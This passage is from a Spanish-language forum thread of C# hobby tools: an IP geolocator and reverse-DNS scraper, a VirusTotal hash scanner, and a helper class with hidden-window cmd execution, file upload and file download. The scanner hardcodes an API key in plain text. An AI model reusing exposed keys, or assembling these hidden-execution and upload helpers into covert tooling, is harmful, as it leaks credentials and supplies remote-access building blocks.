  25.        }
  26.  
  27.        private void mButton2_Click(object sender, EventArgs e)
  28.        {          
  29.            funciones modulos = new funciones();
  30.  
  31.            if (textBox1.Text == "")
  32.            {
  33.                MessageBox.Show("Enter the target");
  34.            }
  35.            else
  36.            {
  37.  
  38.                textBox2.Text = "";
  39.                textBox3.Text = "";
  40.                textBox4.Text = "";
  41.                listBox1.Items.Clear();
  42.  
  43.                toolStripStatusLabel1.Text = "[+] Getting IP ...";
  44.                this.Refresh();
  45.  
  46.  
  47.                string ip = modulos.getip(textBox1.Text);
  48.                if (ip == "Error")
  49.                {
  50.                    MessageBox.Show("Error getting IP ...");
  51.                    toolStripStatusLabel1.Text = "[-] Error getting IP";
  52.                    this.Refresh();
  53.                }
  54.                else
  55.                {
  56.                    textBox1.Text = ip;
  57.                    toolStripStatusLabel1.Text = "[+] Locating ...";
  58.                    this.Refresh();
  59.                    List<String> localizacion = modulos.locateip(ip);
  60.                    if (localizacion[0] == "Error")
  61.                    {
  62.                        MessageBox.Show("Error locating ...");
  63.                        toolStripStatusLabel1.Text = "[-] Error locating";
  64.                        this.Refresh();
  65.                    }
  66.                    else
  67.                    {
  68.                        textBox2.Text = localizacion[0];
  69.                        textBox3.Text = localizacion[1];
  70.                        textBox4.Text = localizacion[2];
  71.  
  72.                        toolStripStatusLabel1.Text = "[+] Getting DNS ...";
  73.                        this.Refresh();
  74.  
  75.                        List<String> dns_found = modulos.getdns(ip);
  76.                        if (dns_found[0] == "")
  77.                        {
  78.                            MessageBox.Show("Error getting DNS ...");
  79.                            toolStripStatusLabel1.Text = "[-] Error getting DNS";
  80.                            this.Refresh();
  81.                        }
  82.                        else
  83.                        {
  84.  
  85.                            foreach (string dns in dns_found)
  86.                            {
  87.                                listBox1.Items.Add(dns);
  88.                            }
  89.  
  90.                            toolStripStatusLabel1.Text = "[+] Finished";
  91.                            this.Refresh();
  92.                        }
  93.  
  94.                    }
  95.  
  96.  
  97.                }
  98.  
  99.            }
  100.  
  101.        }
  102.  
  103.        private void mButton1_Click(object sender, EventArgs e)
  104.        {
  105.            Application.Exit();
  106.        }
  107.    }
  108. }
  109.  
  110. // The End ?
  111.  

funciones.cs

Código
  1. // Funciones for LocateIP 0.2
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7.  
  8. //
  9. using System.Net;
  10. using System.IO;
  11. using System.Text.RegularExpressions;
  12. //
  13.  
  14. namespace locateip
  15. {
  16.    class funciones
  17.    {
  18.        public string getip(string buscar)
  19.        {
  20.  
  21.            String code = "";
  22.            String url = "http://whatismyipaddress.com/hostname-ip";
  23.            String par = "DOMAINNAME="+buscar;
  24.            String ip = "";
  25.  
  26.            HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  27.  
  28.            nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  29.            nave.Method = "POST";
  30.            nave.ContentType = "application/x-www-form-urlencoded";
  31.  
  32.            Stream anteantecode = nave.GetRequestStream();
  33.  
  34.            anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  35.            anteantecode.Close();
  36.  
  37.            StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  38.            code = antecode.ReadToEnd();
  39.  
  40.            Match regex = Regex.Match(code, "Lookup IP Address: <a href=(.*)>(.*)</a>", RegexOptions.IgnoreCase);
  41.  
  42.            if (regex.Success)
  43.            {
  44.                ip = regex.Groups[2].Value;
  45.            }
  46.            else
  47.            {
  48.                ip = "Error";
  49.            }
  50.  
  51.            return ip;
  52.        }
  53.  
  54.        public List<String> locateip(string ip)
  55.        {
  56.            string code = "";
  57.  
  58.            string city = "";
  59.            string country = "";
  60.            string state = "";
  61.  
  62.            WebClient nave = new WebClient();
  63.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  64.            code = nave.DownloadString("http://www.melissadata.com/lookups/iplocation.asp?ipaddress=" + ip);
  65.  
  66.            Match regex = Regex.Match(code, "City</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
  67.  
  68.            if (regex.Success)
  69.            {
  70.                city = regex.Groups[2].Value;
  71.            }
  72.            else
  73.            {
  74.                city = "Error";
  75.            }
  76.  
  77.            regex = Regex.Match(code, "Country</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
  78.  
  79.            if (regex.Success)
  80.            {
  81.                country = regex.Groups[2].Value;
  82.            }
  83.            else
  84.            {
  85.                country = "Error";
  86.            }
  87.  
  88.            regex = Regex.Match(code, "State or Region</td><td align=(.*)><b>(.*)</b></td>", RegexOptions.IgnoreCase);
  89.  
  90.            if (regex.Success)
  91.            {
  92.                state = regex.Groups[2].Value;
  93.            }
  94.            else
  95.            {
  96.                state = "Error";
  97.            }
  98.  
  99.            List<string> respuesta = new List<string> {};
  100.            respuesta.Add(city);
  101.            respuesta.Add(country);
  102.            respuesta.Add(state);
  103.            return respuesta;
  104.  
  105.        }
  106.  
  107.        public List<String> getdns(string ip)
  108.        {
  109.  
  110.            string code = "";
  111.  
  112.            WebClient nave = new WebClient();
  113.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  114.            code = nave.DownloadString("http://www.ip-adress.com/reverse_ip/" + ip);
  115.  
  116.            List<string> respuesta = new List<string> {};
  117.  
  118.            Match regex = Regex.Match(code, "whois/(.*?)\">Whois", RegexOptions.IgnoreCase);
  119.  
  120.            while (regex.Success)
  121.            {
  122.                respuesta.Add(regex.Groups[1].Value);
  123.                regex = regex.NextMatch();
  124.            }
  125.  
  126.            return respuesta;
  127.        }
  128.  
  129.    }
  130. }
  131.  
  132. // The End ?
  133.  

Si lo quieren bajar lo pueden hacer de aca.
117  Programación / .NET (C#, VB.NET, ASP) / Re: [C#] VirusTotal Scanner 0.1 en: 28 Junio 2014, 03:54 am
no hay problema electro ya me lo dijeron en otros foros , el diseño es un asco tengo que dejar los colores oscuros y raros de una vez xD.
118  Programación / .NET (C#, VB.NET, ASP) / Re: [C#] VirusTotal Scanner 0.1 en: 27 Junio 2014, 17:17 pm
Ya eh hecho una suite donde pongo todas mis tools de perl en un solo programa , se llama Project ParanoicScan.
119  Programación / .NET (C#, VB.NET, ASP) / [C#] VirusTotal Scanner 0.1 en: 27 Junio 2014, 15:41 pm
Mi primer programa en C# , un simple scanner del servicio VirusTotal.

Una imagen :



El codigo :

Form1.cs

Código
  1. // VirusTotal Scanner 0.1
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. using System.IO;
  12. using System.Text.RegularExpressions;
  13.  
  14. namespace virustotalscanner
  15. {
  16.    public partial class Form1 : Form
  17.    {
  18.        public Form1()
  19.        {
  20.            InitializeComponent();
  21.        }
  22.  
  23.        private void button1_Click(object sender, EventArgs e)
  24.        {
  25.            openFileDialog1.ShowDialog();
  26.            if (File.Exists(openFileDialog1.FileName))
  27.            {
  28.                textBox1.Text = openFileDialog1.FileName;
  29.            }
  30.        }
  31.  
  32.        private void button2_Click(object sender, EventArgs e)
  33.        {
  34.  
  35.            DH_Tools tools = new DH_Tools();
  36.  
  37.            if (File.Exists(textBox1.Text))
  38.            {
  39.  
  40.                string md5 = tools.md5file(textBox1.Text);
  41.  
  42.                listView1.Items.Clear();
  43.                richTextBox1.Clear();
  44.  
  45.                string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key
  46.                toolStripStatusLabel1.Text = "[+] Scanning ...";
  47.                this.Refresh();
  48.  
  49.                string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey);
  50.                code = code.Replace("{\"scans\":", "");
  51.  
  52.                string anti = "";
  53.                string reanti = "";
  54.  
  55.                Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase);
  56.  
  57.                while (regex.Success)
  58.                {
  59.                    anti = regex.Groups[1].Value;
  60.                    reanti = regex.Groups[4].Value;
  61.                    reanti = reanti.Replace("\"", "");
  62.  
  63.                    ListViewItem item = new ListViewItem();
  64.                    if (reanti == "null")
  65.                    {
  66.                        item.ForeColor = Color.Cyan;
  67.                        reanti = "Clean";
  68.                    }
  69.                    else
  70.                    {
  71.                        item.ForeColor = Color.Red;
  72.                    }
  73.  
  74.                    item.Text = anti;
  75.                    item.SubItems.Add(reanti);
  76.  
  77.                    listView1.Items.Add(item);
  78.  
  79.                    regex = regex.NextMatch();
  80.                }
  81.  
  82.                regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase);
  83.                if (regex.Success)
  84.                {
  85.                    richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine);
  86.                }
  87.                else
  88.                {
  89.                    MessageBox.Show("Not Found");
  90.                }
  91.  
  92.                regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase);
  93.                if (regex.Success)
  94.                {
  95.                    richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine);
  96.                }
  97.  
  98.                regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase);
  99.                if (regex.Success)
  100.                {
  101.                    richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine);
  102.                }
  103.  
  104.                regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase);
  105.                if (regex.Success)
  106.                {
  107.                    richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine);
  108.                }
  109.  
  110.                toolStripStatusLabel1.Text = "[+] Finished";
  111.                this.Refresh();
  112.  
  113.  
  114.            }
  115.            else
  116.            {
  117.                MessageBox.Show("File not found");
  118.            }
  119.  
  120.  
  121.        }
  122.    }
  123. }
  124.  
  125. // The End ?
  126.  

DH_Tools.cs

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace virustotalscanner
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si lo quieren bajar lo pueden hacer de aca.
120  Programación / .NET (C#, VB.NET, ASP) / [C#] Clase DH Tools en: 20 Junio 2014, 16:04 pm
Mi primer clase que hice practicando en C#

Con las siguientes funciones :

  • Realizar peticiones GET & POST
  • Ver el numero de HTTP Status en una pagina
  • HTTP FingerPrinting
  • Leer un archivo
  • Escribir o crear un archivo
  • Ver el sistema operativo actual
  • Elimina duplicados en una lista
  • Corta URLS en una lista
  • Descargar y subir archivos
  • Ver el nombre del archivo en una ruta
  • Ejecutar comandos
  • URI Split
  • MD5 Hash Generator
  • Ver el MD5 de un archivo
  • Ver la IP de un hostname

El codigo de la clase :

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace clasewebtools
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file,string texto) {
  165.  
  166.            try {
  167.            System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  168.            save.Write(texto);
  169.            save.Close();
  170.            }
  171.            catch {
  172.                //
  173.            }
  174.        }
  175.  
  176.        public string getos()
  177.        {
  178.            string code = "";
  179.  
  180.            try
  181.            {
  182.                System.OperatingSystem os = System.Environment.OSVersion;
  183.                code = Convert.ToString(os);
  184.            }
  185.            catch
  186.            {
  187.                code = "?";
  188.            }
  189.  
  190.            return code;
  191.        }
  192.  
  193.        public List<string> repes(List<string> array)
  194.        {
  195.            List<string> repe = new List<string>();
  196.            foreach (string lin in array)
  197.            {
  198.                if (!repe.Contains(lin))
  199.                {
  200.                    repe.Add(lin);
  201.                }
  202.            }
  203.  
  204.            return repe;
  205.  
  206.        }
  207.  
  208.        public List<string> cortar(List<string> otroarray)
  209.        {
  210.            List<string> cort = new List<string>();
  211.  
  212.            foreach (string row in otroarray)
  213.            {
  214.  
  215.                String lineafinal = "";
  216.  
  217.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  218.                if (regex.Success)
  219.                {
  220.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  221.                    cort.Add(lineafinal);
  222.                }
  223.  
  224.            }
  225.  
  226.            return cort;
  227.        }
  228.  
  229.        public string download(string url,string savename)
  230.        {
  231.  
  232.            String code = "";
  233.  
  234.            WebClient nave = new WebClient();
  235.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  236.  
  237.            try
  238.            {
  239.                nave.DownloadFile(url, savename);
  240.                code = "OK";
  241.            }
  242.            catch
  243.            {
  244.                code = "Error";
  245.            }
  246.  
  247.            return code;
  248.        }
  249.  
  250.        public string upload(string link,string archivo)
  251.        {
  252.  
  253.            String code = "";
  254.  
  255.            try
  256.            {
  257.  
  258.                WebClient nave = new WebClient();
  259.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  260.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  261.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  262.  
  263.            }
  264.  
  265.            catch
  266.            {
  267.                code = "Error";
  268.            }
  269.  
  270.            return code;
  271.  
  272.        }
  273.  
  274.        public string basename(string file)
  275.        {
  276.            String nombre = "";
  277.  
  278.            FileInfo basename = new FileInfo(file);
  279.            nombre = basename.Name;
  280.  
  281.            return nombre;
  282.  
  283.        }
  284.  
  285.        public string console(string cmd)
  286.        {
  287.  
  288.            string code = "";
  289.  
  290.            try
  291.            {
  292.  
  293.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  294.                loadnow.RedirectStandardOutput = true;
  295.                loadnow.UseShellExecute = false;
  296.                loadnow.CreateNoWindow = true;
  297.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  298.                loadnownow.StartInfo = loadnow;
  299.                loadnownow.Start();
  300.                code = loadnownow.StandardOutput.ReadToEnd();
  301.  
  302.            }
  303.  
  304.            catch
  305.            {
  306.                code = "Error";
  307.            }
  308.  
  309.            return code;
  310.  
  311.        }
  312.  
  313.        public string urisplit(string url,string opcion)
  314.        {
  315.  
  316.            string code = "";
  317.  
  318.            Uri dividir = new Uri(url);
  319.  
  320.            if (opcion == "host")
  321.            {
  322.                code = dividir.Host;
  323.            }
  324.  
  325.            if (opcion == "port")
  326.            {
  327.                code = Convert.ToString(dividir.Port);
  328.            }
  329.  
  330.            if (opcion == "path")
  331.            {
  332.                code = dividir.LocalPath;
  333.            }
  334.  
  335.            if (opcion == "file")
  336.            {
  337.                code = dividir.AbsolutePath;
  338.                FileInfo basename = new FileInfo(code);
  339.                code = basename.Name;
  340.            }
  341.  
  342.            if (opcion == "query")
  343.            {
  344.                code = dividir.Query;
  345.            }
  346.  
  347.            if (opcion == "")
  348.            {
  349.                code = "Error";
  350.            }
  351.  
  352.            return code;
  353.        }
  354.  
  355.        public string convertir_md5(string text)
  356.        {
  357.            MD5 convertirmd5 = MD5.Create();
  358.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
